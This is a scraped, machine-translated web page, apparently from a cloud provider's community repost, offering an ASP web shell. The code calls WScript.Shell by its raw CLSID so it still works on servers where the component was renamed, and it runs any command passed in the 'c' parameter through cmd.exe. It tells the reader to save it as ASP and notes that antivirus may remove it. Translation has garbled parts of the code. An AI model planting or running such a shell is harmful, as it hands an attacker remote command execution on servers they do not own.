There is no wscript. shell component permission escalation Method

Source: Internet
Author: User

Code:
<Object runat = server id = oScriptlhn scope = page
Classid = "clsid: 72c24dd5-d70a-438b-8a42-98108b88afb8"> </object>

<% If err then %>
<Object runat = server id = oScriptlhn scope = page
Classid = "clsid: F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"> </object>

<%
End if
Response. write ("<textarea readonly cols = 80
Rows = 20> ")
On Error Resume Next
Response. write
OScriptlhn.exe c ("cmd.exe/c" & request ("c"). stdout. readall

Response. write ("</textarea> ")
Response. write ("<form
Method = post> ")
Response. write ("<input type = text name = c
Size = 60> <br> ")
Response. write ("<input type = submit
Value = Execution> </form> ")
%> Save As ASP. This code may be killed. Do not kill it.

 

Principle: Some people change the name of wscript. shell, but the clsid is not changed. Therefore, calling this clsid is equivalent to calling ws.
 

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.